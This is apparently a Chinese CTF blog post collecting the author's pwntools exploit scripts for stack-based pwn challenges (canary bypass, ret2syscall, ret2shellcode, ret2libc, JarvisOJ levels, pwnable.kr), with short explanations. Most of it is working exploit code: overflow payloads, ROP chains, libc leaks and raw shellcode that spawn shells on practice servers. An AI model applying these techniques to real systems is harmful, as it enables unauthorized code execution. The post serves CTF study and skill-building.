0x00:前言
这里有许多我做过的pwn题目的exp记录,包括各大平台的一些题目,不断更新,我会简要写一些做题的思路,有时间就弄出来当成一个专题详解。
0x01:栈系列
canary绕过
题目链接
https://github.com/ThunderJie/CTF-Practice/tree/master/CTF-Pwn/canary
思路和exp
通过找print函数输出的地方距离canary的偏移从而打印出canary实现绕过
canary.c
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
printf(str);
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}
exp
from pwn import *
r = process('./canary')
string = "%15$08x"
r.sendline(string)
canary = r.recv()[:8]
canary = canary.decode("hex")[::-1]
print canary
payload = "a"*32 + canary + 3*4*"a" +p32(0x80484cb)
r.sendline(payload)
r.interactive()
ret2syscall
题目链接
https://github.com/ThunderJie/CTF-Practice/tree/master/CTF-Pwn/ret2syscall
exp
练习对于Ropgadget的使用
from pwn import *
p=process('./ret2syscall')
pop_eax_ret = p32(0x080bb196)
pop_3_ret = p32(0x0806eb90)
bin_sh = p32(0x080be408)
int_0x80 = p32(0x08049421)
payload = 112*'a'+ pop_eax_ret + p32(0xb) + pop_3_ret + p32(0) + p32(0) + bin_sh + int_0x80 #int 0x80(0xb,'/bin/sh',0x0,0x0)
p.sendline(payload)
p.interactive()
ret2shellcode
题目链接
https://github.com/ThunderJie/CTF-Practice/tree/master/CTF-Pwn/ret2shellcode
exp
找好偏移,将shellcode写入bss段
from pwn import *
p=process('./ret2shellcode')
context(arch = 'i386',os = 'linux')
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112,'a') + p32(0x804a080)
p.sendline(payload)
p.interactive()
re2libc
题目链接
https://github.com/ThunderJie/CTF-Practice/tree/master/CTF-Pwn/ret2libc
retlibc1
有system函数,调用gets函数手动输入’/bin/sh’获取shell,偏移+调用put函数首地址+调用put函数的返回地址+bss地址+system函数地址+system函数返回值+bss地址, get函数输入的内容保存在bss_addr中,我们输入’/bin/sh’,然后调用system函数执行bss_addr中的内容getshell
from pwn import *
p = process('./ret2libc1')
offset = 112
bss_addr = 0x804a040 – 16 # readelf -S ret2libc2
get_addr = 0x8048460 # objdump -d -j .plt ret2libc2
pop_ret = 0x0804872f # ROPgadget --binary ret2libc2 --only "pop|ret"
system_addr = 0x8048490 # objdump -d -j .plt ret2libc2
payload = 'a'*offset + p32(get_addr) + p32(pop_ret) + p32(bss_addr) + p32(system_addr) + p32(0xdeadbeef) + p32(bss_addr)
p.sendline(payload)
p.interactive()
re2libc2
不存在’/bin/sh’字符串和system函数,我们需要泄露libc地址,libc查询网站:https://libc.blukat.me/
from pwn import *
p = process('./ret2libc2')
offset = 112
elf = ELF('./ret2libc2')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_plt = elf.symbols['_start']
#查询得到libc版本为 libc6_2.27-3ubuntu1_i386
libc_puts = 0x067b40
libc_system = 0x03d200
libc_bin_sh = 0x17e0cf
payload = 'a'*112 + p32(puts_plt) + p32(main_plt) + p32(puts_got) # 因为前面执行过一次puts函数,根据延迟绑定基址,这里打印puts函数的got表可以泄露puts函数真正的地址,执行完puts之后回到main函数准备下一次payload发送
p.sendlineafter("!?",payload)
puts_addr = u32(p.recv()[0:4]) # 接受到真正puts函数在程序中的地址
libcbase = puts_addr - libc_puts # 计算偏移得到system和’/bin/sh’真正的地址
sys_addr = libcbase + libc_system
bin_sh = libcbase + libc_bin_sh
payload2 = 'a'*112 + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh) # 执行system函数getshell
p.sendline(payload2)
p.interactive()
0x02:JarvisOj
Tell me something
exp
from pwn import*
r = remote('pwn.jarvisoj.com',9876)
payload = 'a'*0x88 + p64(0x400620)
r.sendline(payload)
r.interactive()
level0
exp
from pwn import*
r = remote('pwn2.jarvisoj.com',9881)
payload = 'a'*0x88 + p64(0x400596)
r.sendline(payload)
r.interactive()
level1
exp
from pwn import*
r = remote('pwn2.jarvisoj.com',9877)
shellcode = asm(shellcraft.sh())
r.recvuntil('x')
buff_addr = r.recvuntil('?')
buff_addr = int(buff_addr[:-1],16)
payload = shellcode + 'a'*(0x88+0x4-len(shellcode)) + p64(buff_addr)
r.sendline(payload)
r.interactive()
level2
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
io = remote("pwn2.jarvisoj.com",9878)
elf = ELF("./level2")
sys_addr = elf.symbols["system"]
bin_addr = elf.search("/bin/sh").next()
payload = 'a'*(0x88 + 0x4) #辣鸡填充值
payload += p32(sys_addr) #覆盖返回地址到system函数
payload += p32(0xdeadbeef) #随意填写system函数调用结束的返回地址
payload += p32(bin_addr) #system函数的参数,指向“/bin/sh”,实现调用
io.recvline()
io.sendline(payload)
io.interactive()
io.close()
level2_x64
exp
在32位程序运行中,函数参数直接压入栈中:
调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1
在64位程序运行中,参数传递需要寄存器:
64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中,参数超过六个时,从第七个开始压入栈中
from pwn import *
#r = process('./level2_x64')
r = remote('pwn2.jarvisoj.com',9882)
r.recvuntil('\n')
sys_addr = 0x4004c0
sh_addr = 0x600A90
payload = 'a'*0x88+p64(0x4006b3)+p64(sh_addr)+p64(sys_addr)
r.send(payload)
r.interactive()
level3
exp
from pwn import*
r = remote('pwn2.jarvisoj.com',9879)
libc = ELF('./libc-2.19.so')
symbol = ELF('./level3')
write_plt = symbol.symbols['write']
write_got = symbol.got['write']
libc_system = libc.symbols['system']
libc_write = libc.symbols['write']
libc_sh=libc.search('/bin/sh').next()
vulner_func_addr = 0x804844b
r.recvuntil('\n')
payload = 'a'*(0x88+0x4) + p32(write_plt) + p32(vulner_func_addr) + p32(1) + p32(write_got) + p32(4)
r.send(payload)
write_addr = u32(r.recv(4))
print write_addr
system_addr = write_addr - libc_write + libc_system
sh_addr = write_addr - libc_write + libc_sh
payload2 = 'a'*(0x88+0x4) + p32(system_addr) + 'aaaa' + p32(sh_addr)
r.send(payload2)
r.interactive()
level3_x64
exp
from pwn import *
r = remote('pwn2.jarvisoj.com',9883)
libc = ELF('libc-2.19.so')
elf = ELF('./level3_x64')
write_plt = elf.plt['write']
write_got = elf.got['write']
func = elf.symbols['vulnerable_function']
libc_write = libc.symbols['write']
libc_system = libc.symbols['system']
libc_sh = libc.search('/bin/sh').next()
pop_rdi_ret = 0x4006b3 #ROPgadget --binary level3_x64 --only 'pop|ret'
pop_rsi_pop_r15_ret = 0x4006b1
payload = 'a'*0x88+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_pop_r15_ret)+p64(write_got)+p64(0xdeadbeef)+p64(write_plt)+p64(func)
r.recvuntil('\n')
r.send(payload)
write_addr = u64(r.recv(8))
sys_addr = write_addr - libc_write + libc_system
bin_addr = write_addr - libc_write + libc_sh
payload2 = 'a'*0x88 + p64(pop_rdi_ret) + p64(bin_addr) + p64(sys_addr) + p64(0xdeadbeef)
r.sendline(payload2)
r.interactive()
level4
exp
from pwn import *
r = remote("pwn2.jarvisoj.com", 9880)
def leak(addr):
write_plt = p32(0x08048340)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + p21(addr) + p32(4) #write(1, addr, 4);
r.send(payload)
leaked = r.recv(4)
return leaked
d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')
data_addr = 0x0804A024 # readelf -S level4
read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)
r.send("/bin/sh\x00")
payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)
r.interactive()
level5
exp
from pwn import*
context.log_level = "debug"
p=remote('pwn2.jarvisoj.com',9884)
elf = ELF("./level3_x64")
libc = ELF("./libc-2.19.so")
pause()
write_plt = elf.plt["write"]
write_got = elf.got["write"]
vul_add = elf.symbols["vulnerable_function"]
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1
p1 = "1" * (0x80 + 8)
p1 += p64(rdi)
p1 += p64(1)
p1 += p64(rsi_r15)
p1 += p64(write_got)
p1 += "1" * 8
p1 += p64(write_plt)
p1 += p64(vul_add)
p.recv()
sleep(0.2)
p.send(p1)
data = p.recv(8)
read_addr = u64(data)
libc.base = read_addr - libc.symbols["write"]
mprotect_addr = libc.base + libc.symbols["mprotect"]
print "mprotect: ["+hex(mprotect_addr)+"]"
pause()
read_plt = elf.symbols['read']
bss_base = elf.bss()
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1
payload2 = 'a'*0x80 + 'a'*8
payload2 += p64(rdi) + p64(0)
payload2 += p64(rsi_r15) + p64(bss_base) +"1"*8
payload2 += p64(read_plt)
payload2 += p64(vul_add)
sleep(0.2)
p.send(payload2)
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
sleep(0.2)
p.send(shellcode)
pause()
bss_got= 0x0000000000600A48
payload3 = 'a'*0x80+'a'*8
payload3 += p64(rdi)+p64(0)
payload3 += p64(rsi_r15) + p64(bss_got) + "1"*8
payload3 += p64(read_plt) + p64(vul_add)
sleep(0.2)
p.send(payload3)
sleep(0.2)
p.send(p64(bss_base))
pause()
mprotect_got = 0x0000000000600A50
payload4 = 'a'*0x80+'a'*8
payload4 += p64(rdi) + p64(0)
payload4 += p64(rsi_r15) + p64(mprotect_got) + p64(0)
payload4 += p64(read_plt) +p64(vul_add)
sleep(0.2)
p.send(payload4)
sleep(0.2)
p.send(p64(mprotect_addr))
pause()
gadget_start = 0x00000000004006A6
gadget_end = 0x0000000000400690
payload5 = 'a'*0x80+'a'*8
payload5 += p64(gadget_start) + p64(0) + p64(0) + p64(1) +p64(mprotect_got) + p64(7) +p64(0x1000)+p64(0x600000)
payload5 +=p64(gadget_end)
payload5 += 'a'*8 + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(gadget_end)
sleep(0.2)
p.send(payload5)
p.interactive()
0x03:pwnable.kr
bof
exp
from pwn import *
r = remote('pwnable.kr',9000)
payload = "a"*52+ p32(0xCAFEBABE)
r.sendline(payload)
r.interactive()
col
思路
col@ubuntu:~$ cat col.c
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
输入分五次组,将0x21DD09EC拆分为5组,发送即可得到flag,注意小端
./col $(python -c "print '\xC6\xCE\xC5\x06'*4 + '\xD4\xCE\xC5\x06'")
fd
思路
fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
需要输入的参数等于0x1234,但是我们需要转换为10进制,即4660,然后再输入LETMEIN即可得到flag
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
flag
思路
拖入IDA发现有壳,安装upx脱壳工具
sudo apt install upx
执行脱壳操作
upx -d flag
得到的程序用IDA64位打开双击flag字符串就可以得到flag